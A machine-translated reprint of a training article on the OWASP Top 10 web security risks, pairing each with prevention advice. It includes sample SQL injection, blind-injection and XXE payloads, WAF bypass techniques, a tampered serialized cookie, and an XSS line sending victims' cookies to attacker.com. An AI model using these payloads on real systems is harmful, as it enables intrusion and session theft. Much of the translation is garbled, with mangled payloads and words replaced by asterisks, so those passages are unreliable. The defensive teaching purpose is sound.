Shulou(Shulou.com)06/01 Report--

This article was originally created and launched by the technical team of Grape City.

Please indicate the source of the reprint: grape City official website, Grape City provides developers with professional development tools, solutions and services, empowering developers.

In yesterday's open class, due to the high enthusiasm and enthusiasm of the participating friends, our lecturer Carl (Chen Qing) also gave most of the second lecture, so the three originally scheduled open classes also became two. This series of open classes are lively and interesting, full of practical information, and have a wide audience, so please do not forget this time that you did not participate in the last course. We will focus on OWASP Top 10 (the 10 most serious security risk warnings for Web applications) and their coping strategies. Open course address: http://live.vhall.com/137416596

Detailed explanation of OWASP Top 10 Application Security risk

The purpose of "OWASP Top 10" is to identify a group of the most serious risk projects for enterprises. For each of these risks, we will use a rating scheme based on OWASP risk rating to provide you with information about vulnerability prevalence, detectability, business / technical impact, and so on.

I. injection

When untrusted data is sent to the parser as part of a command or query, injection defects such as SQL injection, NoSQL injection, OS injection, and LDAP injection occur. Malicious data from * * can induce the parser to execute unexpected commands or access data without proper authorization.

Availability: easy

Almost any data source can be an injection carrier, including environment variables, all types of users, parameters, external and internal Web services. An injection vulnerability can occur when the user can send malicious data to the interpreter.

Universality: common

Injection vulnerabilities are common, especially in legacy code. Injection vulnerabilities are usually found in SQL, LDAP, XPath or NoSQL query statements, OS commands, XML parsers, SMTP headers, expression statements, and ORM query statements.

Testability: easy

Injection vulnerabilities are easily discovered by code review. Scanners and blur testing tools can help people find these vulnerabilities.

Technical impact: serious

Injection can lead to data loss, destruction, or disclosure to unauthorized parties, lack of auditability, or denial of service. Injection can sometimes even cause the host to be completely taken over.

Business impact: unknown

Your applications and data need to be protected from affecting your business.

Self-check: is your application fragile?

Your application is vulnerable and vulnerable when the following situations occur:

The data provided by the user has not been verified, filtered or purified by the application.

Dynamic query statements or non-parameterized calls are used in the interpreter without context-aware escape.

Malicious data is used in the ORM search parameters so that the search results in sensitive or unauthorized data.

Malicious data is directly used or connected, such as SQL statements or commands that contain structure and malicious data in dynamic query statements, commands, or stored procedures.

Some common injections include: SQL, OS commands, ORM, LDAP, and expression language (EL) or OGNL injection.

The principles of all compilers are similar, so Code Review is by far one of the most effective ways to detect application injection risks. Of course, you can also DAST scan all parameters, fields, headers, cookie, JSON, and XML data inputs in the code, and add SAST and DAST tools to the CI/CD process to perform injection testing of existing or new code before the project is deployed.

How to prevent injection?

To prevent injection vulnerabilities, you need to separate data from command statements and query statements:

The best choice is to use a secure API, avoid the interpreter altogether, or provide an API with a parameterized interface, or migrate to ORM or entity frameworks. (note: when parameterized, stored procedures can still introduce SQL injection vulnerabilities if PL/SQL or T-SQL connects queries to data, or executes malicious data with immediate execution or exec (). )

Using correct or whitelist-compliant input validation methods can also help prevent injection of *, but this is likely to cause complaints from users, as many applications require special characters in the input, such as the text area or the API of the mobile application.

For all dynamic queries, special characters can be escaped using the specific escape syntax of the interpreter. OWASP's Java Encoder and similar libraries provide such escape routines. (note: in SQL structures, table names, column names, and so on cannot be escaped, so user-provided structures are often very dangerous. )

Use LIMIT and other SQL controls in queries to prevent large amounts of data leakage during SQL injection.

* case scenario 1234567891011 scenario # 1: the application uses untrusted data in the fragile SQL statement structure: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter ("id") + "'"; scenario # 2: blind trust in framework applications may also lead to loopholes in query statements. (for example: Hibernate query language (HQL): Query HQLQuery = session.createQuery ("FROM accounts WHERE custID='" + request.getParameter ("id") + "'")

In both cases, the * * user changed the value of the "id" parameter in the browser to: 'or'1'='1. For example:

Http://example.com/app/accountView?id=' or '1customers 1

The meaning of the query statement becomes to return all records from the accounts table.

SQL blind injection

SQL blind injection means that after the SQL statement is injected and executed successfully, the result of the execution cannot be echoed to the front-end page. At this point, we need to use some methods to judge or try, this process is called blind injection.

Blind bets are generally divided into three categories:

First, blind note based on Boolean

Blind injection based on Boolean usually uses logical judgment to speculate the obtained data, and the server returns true or false by given conditions. The scope of judgment can be reduced by using methods such as dichotomy or regular expressions.

Second, blind injection based on time

It is mainly judged by the time delay or execution time.

If (ascii (substr (database (), 1Jing 1)) > 115Jol 0st sleep (5))% 23 / / if judgment statement, if the condition is false, execute sleep

Because the delay is affected by the network environment, this method is not very reliable.

Third, blind note based on error report

Construct a payload to display the information with an error prompt.

Count (*) and rand (0) and group by report error

Rand (0) is a pseudorandom sequence, 01101100. The reason for the error is that rand (0) is not a fixed value, but a variable. When using group by, a virtual table is created with fields key and count (*). The insert operation returns 0 for the first time, but there is no this item in the virtual table, and the database thinks it needs to be inserted, but the database does not record it, so rand (0) tries to get it again, but at this time it gets the second number. In turn, when the database query finds that the item 0 does not exist, rand (0) returns a value of 1 when the insert operation is performed, but 1 already exists, and an error will be reported when inserting an existing item.

WAF bypass

The reason why we want to talk about the common features of WAF is to better understand how WAF works and to increase the chances of bypassing WAF. Generally speaking, WAF (Web Application Firewall) has the following four functions:

Audit device: a session used to intercept all HTTP data or to meet only certain rules

Access control device: used to control access to Web applications, including both active and passive security modes

Architecture / network design tools: when running in reverse proxy mode, they are used to assign functions, centralized control, virtual infrastructure, etc.

WEB application hardening tools: these features enhance the security of protected Web applications, which can not only shield the inherent weaknesses of WEB applications, but also protect the security risks caused by WEB application programming errors.

WAF filtering mechanism:

Anomaly detection protocol: rejects requests that do not meet the HTTP standard

Enhanced input validation: proxy and server-side validation, not just client-side validation

Whitelist & blacklist: whitelist is suitable for stable Web applications, and blacklist is suitable for dealing with known problems

Rule-based and exception-based protection: rule-based blacklist mechanism is more dependent, exception-based protection is more flexible

State management: focus on session protection

Others: Cookies protection, anti-circumvention technology, response monitoring and information disclosure protection, etc.

Ways to bypass WAF:

Judging from the information that can be found so far, the techniques for bypassing WAF are mainly divided into nine categories, including:

Mixed case (the simplest bypass technique for keyword matching techniques for lowercase or uppercase only)

Replace keywords (case conversion cannot be bypassed in this way, and regular expressions replace or delete keywords such as select and union, which can be easily bypassed if they match only once)

Use coding (URL coding, Unicode coding)

Use comments (normal comments, inline comments)

Equivalent functions and commands (some functions or commands cannot be used because their keywords are detected, but in many cases they can be replaced by equivalent or similar code)

Special symbols (special symbols have special meanings and uses and involve more information than the ones mentioned above)

HTTP parameter control (here HTTP parameter control not only tampers with the parameters of the query statement, but also includes the control of HTTP methods and HTTP headers)

Buffer overflow (buffer overflow is used against WAF, a lot of WAF is written in C language, and C language itself has no buffer protection mechanism, so if WAF exceeds its buffer length when processing test vectors, it will cause bug to bypass)

Integration bypass (integration means a combination of the various bypass techniques mentioned above, a single technology may not be able to bypass the filtering mechanism, but the successful use of multiple technologies will increase the likelihood of success. Unless each technology cannot be used alone, they can generate much more energy than themselves. )

II. Invalidation of identity authentication

By mistakenly using the authentication and session management features of Web applications, people can decipher passwords, keys, and session tokens, or take advantage of other development flaws to temporarily or permanently impersonate the identity of an administrator.

Availability: easy

Users can easily access millions of valid user names and password combinations, including certificates, default account management lists, automatic brute force cracking and dictionary tools, and advanced GPU cracking tools. Session management can be easily exploited, especially without expired session keys.

Universality: common

The design and implementation of most management systems have the problem of identity authentication failure. Session management is the basis of authentication and access control and exists throughout the process of the application.

Detectability: general

* users usually use guidebooks to detect invalid authentication. In addition, you will also pay attention to password dumps, dictionaries, or invalid authentication after fishing or social engineering.

Technical impact: serious

* users only need to access a few accounts, or an administrator account, to destroy our system. Depending on the application business scenario, it may lead to serious violations such as money laundering, fraud, user identity theft, disclosure of sensitive information protected by law, and so on.

Self-check: is your application fragile?

It is important to confirm user identity, authentication, and session management, and these measures can be used to separate malicious, unauthenticated people from authorized users. If your application has the following problems, there may be an authentication failure vulnerability:

Allow credentials to be populated, which allows * * users to obtain a valid user name and password.

Allow brute force cracking or other automatic cracking.

Use a default, weakly secure password, such as "Password1" or "admin/admin".

Use weak security or invalid authentication credentials.

Use clear text, encrypted, or weakly hashed passwords.

Missing or invalid multifactor authentication.

Expose the session ID in URL (for example, URL rewriting).

The session ID is not updated after a successful login.

Incorrectly invalidate the session ID. User sessions or authentication tokens (especially single sign-on (SSO) tokens) do not log out correctly or expire when the user is inactive.

Where possible, use multi-factor authentication to prevent credential filling, brute force cracking, and stolen credential reuse.

Do not use default credentials that have been sent or deployed, especially administrator users.

Perform weak password checks on a regular basis.

Align password length, complexity, and cycling policies with NIST-800-63B guidelines or other modern password policies.

Confirm the registration, credential recovery, and API path to ensure that the same message is used for all outputs to protect against account enumeration.

Restrict or gradually delay failed login attempts. Record all failure messages and alert the system administrator when credentials are populated, brute force cracked, or other * detected.

Use the server-side built-in session manager to generate a highly complex random session ID that does not exist in the URL after login. In this way, it will be invalidated when the user logs out, is idle, and absolutely times out.

How to prevent it? * case scenario

Scenario # 1: the most common * method-credential filling, using a list of known passwords. If the application does not limit the number of authentication attempts, you can use the application as a password oracle to determine whether the credentials are valid.

Scenario # 2: most authentication * * is due to the password as the only authentication factor.

Scenario # 3: the application session timeout setting is incorrect. When a user accesses an application using a public computer, he or she closes the browser tab and leaves instead of selecting "Log out".

Credential fill (crash library)

Hit the library, is * through the collection of Internet users and password information has been leaked, generate the corresponding dictionary table, try to log in to other sites, get a series of users who can log in. Many users use the same account and password on different sites, so * you can try to log in to site B by obtaining the user's account on site A, which is called bumping into the library.

Database collision can be solved by database security protection technology, which includes database missing scan, database encryption, database firewall, data desensitization and database security audit system.

Hit the library is not mysterious, in fact, it is widely used. For example, according to the Shape Security report, "once people target a Fortune 100 B2C (business-to-consumer) website, they will use proxy servers around the world to make more than five million login attempts in a week." To make matters worse, stolen vouchers are not hard to find. * We will spread their vouchers online for fun or for the opportunity to become famous. These reputations come in handy when they do business on the voucher black market, such as Cracking-dot-org, Crackingking-dot-org and Crackingseal-dot-io.

Multi-factor verification

Multi-factor authentication (Multi-factor authentication, abbreviated as MFA), which is also translated as multi-factor authentication and multi-factor authentication, is a method of computer access control. Users have to go through more than two authentication mechanisms before they can be authorized to use computer resources. For example, the user has to enter the PIN code, insert the bank card, and then compare it with the fingerprint to get the authorization through these three authentication methods. This authentication method can improve security.

Third, sensitive data disclosure

Many Web applications and API fail to properly protect sensitive data, such as financial data, medical data, and PII data. People can commit credit card fraud, identity theft or other crimes by stealing or modifying unencrypted data. Unencrypted sensitive data is easy to be destroyed, so we need to encrypt sensitive data, including data in the process of transmission, stored data and browser interactive data.

Availability: general

The * * is not directly *, but steals the key from the client (for example, the browser), initiates the middleman, or steals plaintext data directly from the server.

Universality: extensive

This is the most common and influential tool. In the process of data encryption, due to insecure key generation, management and the use of weak encryption algorithms, weak protocols and weak passwords (unsalted hash algorithm or weak hash algorithm), data leakage events occur frequently.

Detectability: general

On the server side, it is easy to detect data weaknesses in transmission, but it is extremely difficult to detect weaknesses in stored data.

Technical impact: serious

The impact of sensitive data disclosure events is very serious, because these data usually contain a lot of personal information (PII), such as: medical records, authentication certificates, personal privacy, credit card information and so on. This information is protected by relevant laws and regulations, such as the EU General data Protection regulations (GDPR) and local privacy laws.

Self-check: is your application fragile?

First of all, you need to confirm which data (including: data during transmission, stored data) is sensitive data. For example: password, credit card number, medical records, personal information, etc., these data should be encrypted, please Review:

Is plaintext transmission used in the data transmission process? This is related to transport protocols, such as HTTP, SMTP, and FTP. (note: external network traffic is very dangerous, please verify all internal communications, such as those between load balancers, Web servers, or back-end systems. )

When data is stored for a long time, is it encrypted or backed up no matter where it is stored?

Whether by default or in the source code, are any old, fragile encryption algorithms still being used?

Do you use the default encryption key, generate or reuse fragile encryption keys, or lack proper key management or key rotation?

Is it mandatory to encrypt sensitive data, such as user agent (e. G. browser) instructions, is the transport protocol encrypted?

Does the user agent (e.g., application, mail client) not verify the validity of the server-side certificate?

How to prevent it?

For some sensitive data that needs to be encrypted, you should do the following:

Classify the data processed, stored or transmitted by the system, and carry out access control according to the classification.

Be familiar with laws and regulations related to sensitive data protection and protect sensitive data in accordance with the requirements of each regulation.

Sensitive data that is unnecessary but important should be cleared as soon as possible, or marked or intercepted by PCI DSS, so that only unstored data will not be stolen.

Ensure that all sensitive data that has been stored is encrypted.

Ensure that the latest, powerful standard algorithms or passwords, parameters, protocols, and keys are used and that key management is in place.

Ensure that the data is encrypted during transmission, such as using TLS.

Ensure that data encryption is enforced, such as using HTTP strict secure Transport Protocol (HSTS).

Disables caching of responses that contain sensitive data.

Be sure to use a password-specific algorithm to store passwords, such as Argon2, scrypt, bcrypt, or PBKDF2.

10. Set the work factor (delay factor) to an acceptable range.

11. Verify the validity of each security configuration item individually.

* case scenario

Scenario # 1: suppose an application encrypts credit card information using an automated data encryption system, stores it in a database, and automatically decrypts the data when it is retrieved. This can lead to a SQL injection vulnerability that can obtain all credit card numbers in clear text.

Scenario # 2: TLS is not used or enforced on a website, or only a weak encryption algorithm is used. * users can intercept requests and steal user session cookie by monitoring network traffic (such as insecure wireless networks) and downgrading network connections from HTTPS to HTTP. The user can then copy the user cookie and successfully hijack the authenticated user session, access or modify the user's personal information. In addition, the user can also change all the data in the process of transmission, such as the recipient of the transfer.

Scenario # 3: the password database uses an unsalted hash algorithm or a weak hash algorithm to store passwords. In this case, a file upload vulnerability enables * * to obtain password files. These unsalted hash passwords can be quickly cracked by brute force cracking of the rainbow table.

National response measures

Japanese personal Information Protection Law

In recent years, due to the development of information and communication technology, enterprises need to collect a large amount of personal information to provide accurate and rapid services. The use of personal information has become indispensable not only for today's business activities, but also for national life. However, on the other hand, due to the improper handling of personal information, the possibility of damage to individual rights and interests is also increasing. In Japan, more than 10 million pieces of personal information have been leaked within organizations including companies and governments. Therefore, in view of the purpose of standardizing the handling of personal information, defining the responsibilities of national and local public bodies, and ensuring the effective use of personal information, Japan promulgated the personal Information Protection Law on April 1, 2005.

EU General data Protection regulations (GDPR)

The EU General data Protection Regulation (General Data Protection Regulation, referred to as GDPR), its predecessor is the computer data Protection Act enacted by the European Union in 1995, which clearly stipulates:

Fines for illegal enterprises can be up to 20 million euros (about 150 million yuan) or 4% of their global turnover, whichever is higher.

The website operator must explain to the customer in advance that he will automatically record the customer's search and shopping records and obtain the consent of the user, otherwise it will be dealt with illegally as "not informed to record the user's behavior".

Companies can no longer use vague, incomprehensible language, or lengthy privacy policies to obtain permission from users to use data.

The user's "right to be forgotten" (right to be forgotten) is explicitly stipulated, that is, the individual user can require the responsible party to delete the data record about himself.

Design the correct posture of the security account system

To put it simply, when the data is typed out from the user's keyboard and stored in the background of the server, it is necessary to maintain the correct posture. Such as:

Save the password in the correct posture

A) low-level error: save password in clear text

B) low-level error: reversible encrypted password

C) wrong method: md5 encryption password

D) correct method: add salt hash to save the password

Transmit data in the correct posture

A) verify the legitimacy of the server

B) ensure the security of communications

Encrypt sensitive information with the correct posture

Backup and monitor the data with the correct posture

IV. XML external entity (XXE)

Many older or misconfigured XML processors evaluate external entity references in the XML file. * * users can use external entities to steal internal and shared files using URI file processors, monitor internal scan ports, execute remote code, and implement a denial of service *.

Availability: general

If * * people can upload XML documents or add malicious content to XML documents (such as vulnerable code, dependencies, or integrations), they can * contain defective XML processors.

Universality: common

In general, many older XML processors can standardize external entities, URI referenced and evaluated in XML processes. The SAST tool can discover XXE defects by examining dependencies and security configurations. The DAST tool requires additional manual steps to detect and exploit XXE defects.

Technical impact: serious

XXE flaws can be used to extract data, execute remote server requests, scan internal systems, and execute rejections

No service * and other * *.

Self-check: is your application fragile?

Applications, especially XML-based Web services, may be vulnerable to * * in the following ways:

Your application accepts XML files directly or XML files for upload, especially from untrusted sources, or inserts untrusted data into XML files and submits them to the XML processor for parsing.

In an application or Web service-based SOAP, all XML processors have document type definition (DTDs) enabled.

For security or single sign-on (SSO), your application should use SAML for authentication, while assuming that SAML uses XML for authentication, your application is vulnerable to XXE***.

If your application uses SOAP prior to version 1.2 and passes XML entities to the SOAP framework, it may be subject to XXE***.

Applications with XXE defects are more vulnerable to denial of service, such as Billion Laughs.

How to prevent it?

Training developers on security awareness is the key to identifying and reducing XXE. In addition, you need to:

Use simple data formats (such as JSON) as much as possible to avoid serializing sensitive data.

Fix or update XML processors and libraries used by applications or underlying operating systems in a timely manner. At the same time, update SOAP to version 1.2 or later through dependency detection.

Refer to "OWASP Cheat Sheet 'XXE Prevention'" to disable XML external entities and DTD processes in all XML parsers of the application.

Implement ("whitelist") input validation, filtering, and cleanup on the server side to prevent malicious data in XML documents, headers, or nodes.

Verify that XSD authentication or other similar authentication is used in the XML or XSL file upload function.

Although manual code review is the best choice for large, complex applications in many integrated environments, SAST tools can detect XXE vulnerabilities in source code. If these controls cannot be achieved, consider using virtual fixes, API security gateways, or Web Application Firewall (WAF) to detect, monitor, and prevent XXE***.

* case scenario

At present, a large number of XXE defects have been found and made public, including uploading acceptable malicious XML files, XXE defects of embedded devices and deeply nested dependencies.

1234567891011121314151617 scenario # 1 the user tries to extract data from the server: DOCTYPE foo [ENTITY xxe SYSTEM "file:///etc/passwd" >] > & xxe Scenario # 2 ENTITY xxe SYSTEM server * user detects the private network of the server by changing the above entity line to the following: ENTITY xxe SYSTEM "https://192.168.1.1/private" >] > scenario # 3 A person performs a denial of service through malicious files * *: ENTITY xxe SYSTEM" private network >] >

Basic definition of XML

XML is a markup language for tagging electronic documents to make them structural. It can be used to mark data and define data types. It is a source language that allows users to define their own markup language. The XML document structure includes XML declarations, DTD document type definitions (optional), and document elements.

The picture is from the Internet.

XML consists of three parts: document Type definition (Document Type Definition,DTD), the layout language of XML; Extensible style language (Extensible Style Language,XSL), the style sheet language of XML; and Extensible Link language (Extensible Link Language,XLL).

The entities in XML are divided into the following five types: character entities, named entities, external entities, parameter entities, internal entities, ordinary entities and parameter entities are all divided into internal entities and external entities. The definition of external entities requires the addition of the SYSTEM keyword, which is the actual content of the external file pointed to by URL. If the SYSTEM keyword is not added, it is an internal entity, indicating that the content of the entity refers to a string.

XML external entity

XML external entities represent the contents of external files, using the SYSTEM keyword to indicate:

12345678910111213ENTITY test SYSTEM "1.xml" > some XML documents contain "entities" defined by the system identifier, and these documents are rendered in the DOCTYPE header tag. These defined "entities" can access local or remote content. For example, the following example of an XML document contains an XML "entity". DOCTYPE Anything [] > & entityex

In the above code, the value assigned to the XML external entity 'entityex' is: file://etc/passwd. During the parsing of the XML document, the value of the entity 'entityex' is replaced with the URI (the file://etc/passwd) content value (that is, the content of the passwd file). The keyword 'SYSTEM'' tells the XML parser that the value of the entityex' entity will be read from the subsequent URI and replace the read where the entityex appears.

If the content behind the SYSTEM can be controlled by the user, then the user can replace it with other content at will to read the server local file (file:///etc/passwd) or remote file (http://www.baidu.com/abc.txt).

XXE injection definition

XXE injection (i.e. XML External Entity, XML external entity injection). Through XML entities, the "SYSTEM" keyword causes XML parsers to read data from local files or remote URI. The * user can pass a self-constructed malicious value through the XML entity, leading the handler to parse it. When referencing external entities, * * users can read arbitrary files, execute system commands, detect intranet ports, * * intranet websites and other behaviors by constructing malicious content.

Principle of XXE vulnerability

The most common types of XXE vulnerabilities are as follows:

Basic XXE injection-external entities inject local DTD

Blind injection based XXE injection-XML parser does not show any errors in the response

XXE injection based on error-after successful parsing, the XML parser always displays the SAME response. (that is, your message has been received), so we might want the parser to "print" the contents of the file to the error response.

Since XML can read the DTD file from the outside, we naturally think that if the path is changed to the path of another file, then the server will assign the contents of that file to the root element in front of SYSTEM when parsing this XML, as long as we show the contents of the previous root element in XML, we can read the contents of that file. This creates a vulnerability in arbitrary file reading.

Suppose we are pointing to a port of an intranet host? Whether an error message will be given, and whether we can judge whether the port of the private network host is open or not from the error message, which causes a problem that the internal port is detected. Generally speaking, there are two ways for the server to parse XML, one is to load the whole XML into memory at one time for parsing, and the other is to load and parse partially and "streaming". If we recursively call the XML definition and call a large number of definitions at once, then the server will run out of memory, resulting in a denial of service *.

5. Invalid access control

Proper access control is not implemented for authenticated users. * * users can take advantage of these defects to access unauthorized functions or data, such as accessing other users' accounts, viewing sensitive files, modifying other users' data, changing access rights, and so on.

VI. Security configuration error

Security misconfiguration is the most common security problem, which is usually caused by insecure default configuration, incomplete temporary configuration, open source cloud storage, incorrect HTTP header configuration, and detailed error information containing sensitive information. Therefore, we not only need to securely configure all operating systems, frameworks, libraries, and applications, but also must fix and upgrade them in a timely manner.

7. Cross-site scripting (XSS)

A XSS flaw occurs when an application's new web page contains untrusted, unvalidated or escaped data, or when an existing web page is updated with a browser API that can create HTML or JavaScript. XSS allows people to execute scripts in the victim's browser and hijack the user's session, destroy the website, or redirect the user to a malicious site.

Availability: easy

Automated tools can detect and utilize all three forms of XSS and store them in vulnerabilities that can be easily exploited.

Universality: extensive

XSS is the second most common security problem in OWASP Top10, which exists in nearly 2/3 of applications.

Testability: easy

Automation tools can find XSS problems, especially in some mature technical frameworks, such as PHP, J2EE or JSP, ASP.NET, etc.

Technical impact: medium

The impact of XSS on reflection and DOM is moderate, while the impact on stored XSS,XSS is more severe, such as executing remote code on affected browsers, such as stealing credentials and sessions or passing malware.

Self-check: is your application fragile?

There are three types of XSS for users' browsers:

Reflective XSS: the application or API contains unauthenticated and unescaped user input as part of the HTML output, which allows the user to execute arbitrary HTML and JavaScript in the victim's browser.

Storage XSS: your application or API stores unpurged user input and displays it on the pages of other users or administrators. Storage XSS is generally considered to be a high risk or serious risk.

DOM-based XSS: dynamically adds content controlled by * users to the JavaScript framework, single-page program, or API of the page. To avoid this type of data, you should prohibit sending data that can be controlled by the user to an insecure JavaScript API.

Typical XSS*** results include: theft of Session, account, bypass of MFA, DIV replacement, * to user browsers (e.g. malware downloads, keyloggings), and * on other users' side.

How to prevent it?

To prevent XSS, you need to distinguish untrusted data from dynamic browser content:

Use a framework that solves XSS issues, such as Ruby 3.0 or React JS. Understand the limitations of each framework for XSS protection and deal with uncovered use cases appropriately.

To avoid reflective or storage XSS vulnerabilities, the best way is to properly escape all untrusted HTTP request data based on the context of the HTML output (including: body, attribute, JavaScript, CSS, or URL).

When the client modifies the browser document, the best choice to avoid DOM XSS***, is to implement context-sensitive data encoding. If this situation cannot be avoided, the similar context-sensitive escape techniques described in "OWASP Cheat Sheet 'DOM based XSS Prevention'" can be used and applied to the browser API.

Using content Security Policy (CSP) is the ultimate defense strategy against XSS. This policy is effective if there are no vulnerabilities that can store malicious code through local files (for example, path traversal overrides and vulnerable libraries that allow transmission over the network).

* case scenario

Scenario # 1: the application uses unverified or escaped untrusted data sources in the following HTML snippet construction:

1 (String) page + = ""

* modify the "CC" parameter in the browser to the following values:

1'> _ document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+ [xss_clean]'.

This will cause the victim's session ID to be sent to the user's website, allowing the victim to hijack the user's current session.

Content Security Policy (CSP)

Content Security Policy (CSP) is an additional layer of security that detects and weakens certain types of security, including cross-site scripting (XSS) and data injection. Whether it is data theft, website content contamination or malware, these are the main means.

CSP is designed to be fully backward compatible (except for the inconsistencies explicitly mentioned by CSP2 in backward compatibility). Browsers that do not support CSP can also work with servers that implement CSP, and vice versa: browsers that do not support CSP will just ignore it and run as usual, the default is that web content uses a standard homologous policy. If the site does not provide CSP Header, the browser will use the standard same origin policy.

To make CSP available, you need to configure your web server to return Content-Security-Policy HTTP Header (sometimes you will see some references to X-Content-Security-Policy Header, which is the old version, and you no longer need to specify it in this way).

In addition, elements can also be used to configure the policy, such as:

one

Context-sensitive data encoding (XSS encoding and bypass)

For friends who know about Web security, they all know that XSS is a loophole, and its harmfulness need not be emphasized. Generally, there are two ways to protect against this vulnerability: one is to filter sensitive characters, such as [, script,'], and the other is to encode sensitive characters by html, such as the htmlspecialchars () function in php.

In general, the correct implementation of one of these two schemes can effectively defend against XSS vulnerabilities. However, there will also be some scenarios. Even if these two schemes are implemented, * * users can bypass the protection, resulting in XSS vulnerabilities being exploited.

Scenario 1: the XSS injection point is in a html tag attribute. The code snippet is as follows:

As you can see, the protective measures here are scheme one: filter sensitive characters. If you enter _ javascript:alert (11) here, it will be filtered out, and the output will be:

Scenario 2: the XSS injection point is in the js tag. The code snippet is as follows:

The second protective measure used here is to encode sensitive characters using the php built-in function htmlspecialchars. If you enter a normal payload, such as:

There will be no pop-up window, and the output of the browser is as follows:

The sensitive characters here

< >

Has been encoded by html, and when finally output in the tag, the browser uses html decoding to display the original text, but it does not trigger the js engine, so there is no pop-up window.

The following figure shows the payload encoded by js:

VIII. Unsafe deserialization

Unsafe deserialization can lead to remote code execution. Even if deserialization defects do not cause remote code execution, * users can use them to execute * *, including replay, injection, and privilege escalation.

Availability: difficult

The use of deserialization is very difficult. Because ready-made deserialization vulnerabilities are difficult to use without changing or adjusting the underlying exploitable code.

Detectability: general

Some tools can be used to find deserialization defects, but human help is often needed to verify the problems found. It is hoped that universal data about deserialization defects will be more identified and resolved as tools are developed.

Technical impact: serious

The impact of deserialization defects cannot be underestimated. They can cause remote code execution, which is one of the most serious cases that can happen.

Self-check: is your application fragile?

If the deserialization attacker provides malicious code or tampered objects, it will make the entire application and API vulnerable, which may lead to the following two main types of *:

If there are classes in the application that can be changed during or after deserialization, the user can change the application logic or implement remote code execution, which is called object and data structure.

Typical data tampering, such as those related to access control, in which the existing data structure is used, but the content has changed.

In an application, serialization may be used to:

Remote and interprocess communication (RPC / IPC)

Connection protocols, Web services, message agents

Cache / persistence

Database, cache server, file system

HTTP cookie, HTML form parameters, API authentication token

How to prevent it?

The only secure architectural pattern is not to accept serialized objects from untrusted sources, or to use serialized media that only allows the original data type. If none of the above is possible, consider using the following methods:

Perform integrity checks, such as the digital signature of any serialized object, to prevent malicious object creation or data tampering.

Strict type constraints are enforced before creating objects, because code is usually expected to be a set of definable classes. The method of bypassing this technology has been proven, so it is not advisable to rely entirely on it.

If possible, isolate deserialization code that runs in a low-privileged environment.

Record exceptions and failure messages for deserialization, such as the type passed in is not the expected type, or the exception raised by deserialization processing.

Restrict or monitor deserialized network connections coming and going from a container or server.

Monitor deserialization and warn users when they continue to deserialize.

* case scenario

Scenario # 1: a React application invokes a set of Spring Boot microservices. To ensure that the original code remains the same, the solution is to serialize the user state and pass it back and forth on each request. At this point, the * * user can use the "R00" Java object signature and use the Java Serial Killer tool to obtain remote code execution on the application server.

Scenario # 2: a PHP forum uses PHP object serialization to save a "super" cookie. The cookie contains the user's ID, role, password hash, and other status:

IRules 4: {iRAPR 0TIX iRAPR 132 iWR 1: "Mallory"; iRAPR 2: 4: "user"; iRAPR 3: "b6a8b3bea87fe0e05022f8f3c88bc960";}

* users can change the serialized object to grant themselves admin permission:

IRules 4: {iRAPR 0TIX iRAPR 1There is an Alice 5: "b6a8b3bea87fe0e05022f8f3c88bc960"; iRAPR 2 is a Srig 5: "admin"; iRAPR 3 is a toss 32: "b6a8b3bea87fe0e05022f8f3c88bc960";}

IX. Use components that contain known vulnerabilities

Components, such as libraries, frameworks, and other software modules, have the same permissions as applications. If a component in the application that contains a known vulnerability is exploited by the user, it may result in serious data loss or server takeover. At the same time, the use of components and API with known vulnerabilities can undermine the application's defenses, cause a variety of attacks, and have a serious impact.

Inadequate logging and monitoring

Inadequate logging and monitoring, as well as missing or invalid integration of event responses, enable people to further * the system and tamper, extract or destroy data. Most defect studies show that defects are detected for more than 200 days and are usually detected by external inspectors rather than through internal processes or monitoring.

Plan ahead-how do you deal with what developers need to do in the project?

Raise risk awareness

Code Review

Establish reusable security procedures and standard security controls

Safety testing tool

A) ZAP Tools

B) static code analysis

Establish continuous application security testing

Manage the complete application lifecycle

The above is part of the content intercepted from this open class sharing-"WebApp Security risk and Protection (Series 2)". I believe it will be helpful to the security protection of your WebApp application.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.